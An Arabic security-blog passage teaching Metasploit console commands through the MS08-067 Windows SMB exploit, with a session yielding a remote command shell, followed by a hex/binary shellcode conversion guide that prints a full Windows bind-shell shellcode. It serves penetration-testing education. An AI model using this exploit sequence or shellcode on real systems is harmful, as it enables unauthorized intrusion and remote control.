x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai

 

أمر (unset) :

وهذا الامر هو عكس امر ‘set’.ويقوم بأزإلة المتغيرات التي قادم بضبطها وإضافتها أمر ‘set’، ويمكنك إزالة جميع المتغيرات مره واحده بأمر ‘unset all’.
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set Global
======
No entries in data store.

 

أمر (sessions) :

هذا الامر يقوم بعرض و التفاعل او انهئ او تنقل بين الجلسات التي تكون فعالة وهذه الجلسات تكون عبارة عن شل(shell)، ميتربريتر(Meterpreter sessions) او VNC … الخ.

msf > sessions -h
Usage: sessions [options]
Active session manipulation and interaction.

OPTIONS:

-K Terminate all sessions
-c Run a command on the session given with -i, or all
--d Detach an interactive session
-h Help banner
-i Interact with the supplied session ID
--k Terminate session
--l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s Run a script on the session given with -i, or all
-u Upgrade a win32 shell to a meterpreter session
-v List verbose fields

ولكي تقوم بعرض الجلسات(sessions) النشطة، مرر حرف ‘-l’ الى امر ‘sessions’.
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.20:33191 ->; 192.168.1.22:4444

عندما تريد التعامل مع أحد الجلسات النشطة، فعليك تمرير المتغير ‘-i’ متبوع برقم الجلسة ‘session id’ لاحظ المثال التالي:
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32

 

أمر (search) :

يقوم هذا الامر ببحث شامل داخل الموديلز(modules) وبادخال جز من اسم الموديل او الاسم كامل فيقوم بعرض بيانات الموديل من الاسم، وصف عن الموديل … الخ.
msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...

Exploits
========

Name Disclosure Date Rank Description
---- --------------- ---- -----------
windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption

 

أمر (show) :

 

بأدخال أمر ‘show’ في ‘msfconsole’ سوف يعرض لك كافة الموديلز ‘modules’ داخل MSF .

msf > show

encoders
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder

...ألخ..

وأيضاً بمكانك عرض كل موديلز على حدة مثل ‘show auxiliary’، ‘show exploits’، ‘show payloads’،
‘show encoders’ او ‘show nops’. سوف اتركك عزيزي القراء لكي تقوم بتجربة هذه الاوامر.

سوف نقوم بستخدام معين لامر ‘show’ عندما تقوم باختيار ثغرة معينة ولناخذ على سبيل المثال ‘ms08_067_netapi’

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

في الامر السابق لقد قمنا باختيار ثغرة ‘ms08_067_netapi’. وفي الامر التالي سوف نقوم بعرض فقط الباي لودز ‘payloads’ التي تتوافق فقط مع الثغرة، ولنفرض ان الثغرة تستهدف فقط انظمة ويندوز، سوف يعرض فقط الباي لودز المتعلقة با الوندوز ولن يعرض الباي لودز الخاصه بنظام لنيكس.

msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

Name Disclosure Date Rank Description
----------- ---- --------------- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser
…الخ…

والان نريد ان نعرض الخيارات المتطلبة لتنفيذ هذه الثغرة مثل ايبي الهدف و البورت وغيرها لاحظ المثال التالي :

msf exploit(ms08_067_netapi)> show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER,SRVSVC)

Exploit target:
Id Name
-- ----
0 Automatic Targeting

وإذا لم تكن متاكد اي إصدار من نظام التشغيل مصاب بهذه الثغرة قم بتنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
…الخ…

وإذا كنت تريد مشاهدة خيارات متقدمة فماعليك الا تنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port

 

أمر (setg) :

إذا كنت تريد ان تحفظ الكثير من الوقت عند عملك اختبار اختراق لنظام معين با إستطاعتك تحديد بعض
‘global variables’ في ‘msfconsole’. وذلك بأستخدام أمر ‘setg’ وعندما يتم تحديد المتغير بستطاعتك
إستخدامة في العديد من (exploits and auxiliary modules) وأيضا تستطع حفظهم لكي تقوم باستخدامهم في المره القادمة، ويجب عليك التاكد دئماً من جميع الخيارات قبل تفيذك أمر ‘run’ او ‘exploit’. وبالمقابل يمكنك إزلة هذه المتغيرات بستخدامك أمر ‘unsetg’ لاحظ المثالي التالي:
msf > setg LHOST 192.168.1.20
LHOST => 192.168.1.20
msf > setg RHOST 192.168.1.22
RHOST => 192.168.1.22

وبعد تحديد بعض المتغيرات مثل عنوان الايبي المحلي و عنوان الايبي البعيد او الهدف يمكننا حفظ هذه التغيرات بامر ‘save’. وفي المره القادمة عند تشغيل ‘msfconsole’ سوف تكون هذه المتغيرات مضبوطه مثلما حددناها.
msf > save
Saved configuration to: /root/.msf3/config
msf >

 

أمر (use) :

عندما تريد استخدام موديل ‘module’ لثغرة معينة إستخدم أمر ‘use’ ومن ثم اختر اسم الموديل. ولاحظ ان ‘global variables’ قمنا بضبطها في الامر السابق لكي تشير الى عنوان ايبي الهدف وعنوان الوكال الايبي .

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description

RHOST 192.168.1.22 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
0 Automatic Targeting

فيديو: اكتشاف و استغلال ثغرات Buffer OverFlows

على عادته دائماً، قام الأخ محمد رمضان بتزويدينا بفيديو يشرح عملية اكتشاف ثغرات Buffer Over Flow من الصفر وحتى كتابة كود الاستغلال واختراق النّظام. ومع أنّ الفيدو قد تمّ نشره على موقع عربي شقيق وشيّق إلّا أنّ أهميّة الموضوع وطريقة الشّرح تجعلنا نعيد نشره هنا في مجتمع الحماية العربي
المشاهدة بأعلى جودة و نقاء HD مباشرة

http://mohaab.blip.tv/file/4807148/

للتحميل بأعلى جودة و نقاء HD مباشرة

http://bit.ly/eLSZIO

رابط مباشر و سريع للادوات و البرامج مجمعة كلها

http://dl.dropbox.com/u/12545954/tools.rar

تحويل الـ Shellcode من Hex إلى Binary و العكس

غالبا نستخدم الـ Metasploit في إنشاء الـ Shellcdoe لكن ماذا لو لم تناسبنا أي من هذه الـ Shellcodes لعلة معينه ؟ وقتها سنتحتاج أن نبحث على Shellcodes من مصادر أخرى و قد نجدها بامتداد “bin” وقتها, سنحتاج إلى تحول الـ Shellcode من Binary إلى Hex لكي نضعه في الـ Exploit خاصتنا.
في هذه الحالة سنحتاج إلى تحميل السكربت pveReadbin.pl لمبرمجه Peter Van.

أيضا قد تواجه حالة تحتاج فيها أن يكون الـ Shellcdoe خاصتك في ملف binary, مثلا في حالة استخراج الـ Bad Characters و في هذه الحالة سنحتاج إلى تحميل السكريبت pveWritebin.py

تحويل الـ Shellcode  من Binary إلى Hex

لتحميل الأداة pveReadbin

طريقة الاستخدام
perl pveReadbin.pl shellcode.bin

مثال:

perl pveReadbin.pl w32-bind-ngs-shellcode.bin
Reading w32-bind-ngs-shellcode.bin
Read 214 bytes
--------------------------------------------
Displaying bytes as hex :
--------------------------------------------
"\x31\xc9\x64\x8b\x71\x30\x8b\x76".
"\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b".
"\x7e\x20\x8b\x36\x38\x4f\x18\x75".
"\xf3\x51\x68\x32\x5f\x33\x32\x68".
"\x66\x56\x77\x73\x68\xb7\x8f\x09".
"\x98\x89\xe6\xb5\x03\x29\xcc\x29".
"\xcc\x89\xe7\xd6\xf3\xaa\x41\x51".
"\x41\x51\x57\x51\x83\xef\x2c\xa4".
"\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78".
"\x01\xeb\x8b\x4b\x20\x01\xe9\x56".
"\x31\xd2\x42\x8b\x34\x91\x01\xee".
"\xb4\x36\xac\x34\x71\x28\xc4\x3c".
"\x71\x75\xf7\x3a\x27\x75\xeb\x5e".
"\x8b\x4b\x24\x01\xe9\x0f\xb7\x14".
"\x51\x8b\x4b\x1c\x01\xe9\x89\xe8".
"\x03\x04\x91\xab\x80\x3e\x09\x75".
"\x08\x8d\x5e\x04\x53\xff\xd0\x57".
"\x95\x80\x3e\x73\x75\xb1\x5e\xad".
"\xff\xd0\xad\xff\xd0\x95\x81\x2f".
"\xfe\xff\x8f\x33\x6a\x10\x57\xad".
"\x55\xff\xd0\x85\xc0\x74\xf8\x31".
"\xd2\x52\x68\x63\x6d\x64\x20\x8d".
"\x7c\x24\x38\xab\xab\xab\xc6\x47".
"\xe9\x01\x54\x87\x3c\x24\x57\x52".
"\x52\x52\xc6\x47\xef\x08\x57\x52".
"\x52\x57\x52\xff\x56\xe4\x8b\x46".
"\xfc\xe9\xca\xff\xff\xff";
Number of null bytes : 0
--------------------------------------------
Displaying bytes as ascii :
--------------------------------------------

تحويل الـ Shellcode  من Hex إلى Binary

لتحميل الأداة pveWritebin

طريقة الاستخدام

افتح السكربت و استبدل العبارة Put You Shellcode Here Line بالـ Shellcode خاصتك

#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# This script takes a filename as argument
# will write bytes in \x format to the file
#
if ($#ARGV ne 0) {
print " usage: $0 ".chr(34)."output filename".chr(34)."\n";
exit(0);
}
system("del $ARGV[0]");
my $shellcode="Put You Shellcode Here Line1".
"Put You Shellcode Here Line2".
"Put You Shellcode Here Line3";
#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);
print "Wrote ".length($shellcode)." bytes to file\n";

ثم نفذ السكريبت بهذه الطريقة
perl pveWritebin.pl shellcode.bin

تحذير!!

احذر من أن تستخدم Shellcode غير موثوق و اعرف محتويات هذا الملف (لأنه يقد يحتوي على أوامر تضر بنظامك!!) بالطرق التالية:

على اللنوكس -> strings
strings shellcode.bin
على ويندوز -> type
type shellcode.bin

لمزيد عن هذا الموضوع

صورة ذات علاقة

تحياتي و احترامي